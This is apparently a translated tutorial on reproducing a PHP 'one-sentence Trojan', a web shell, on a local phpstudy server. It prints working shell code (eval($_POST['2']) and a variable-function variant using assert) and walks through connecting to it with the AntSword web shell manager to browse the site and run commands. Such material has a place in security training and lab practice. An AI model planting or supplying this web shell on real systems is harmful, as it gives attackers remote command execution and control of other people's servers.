Reproduce PHP one sentence Trojan horse

stay phpstudy-pro in , Turn on apache,MySQL, stay WWW Create... In the directory php file , In the php Write code in the file

<?php
eval($_POST['2']);
?>

Open the Chinese ant sword test

Enter the local address of the test , Connection password input 2, Encoding format selection base64, Click test connection

  When the connection is successful , Click Add , Double click the added record , See website Content and directory structure , On behalf of and success .

  Revise it php file

<?php
$_POST['1']($_POST['2']);
?>

eval The rules of ：eval It's a language constructor , It's not a function , Therefore, it cannot be called by variable functions .

Use assert;assert You can also execute any command ,

Show successful connection  .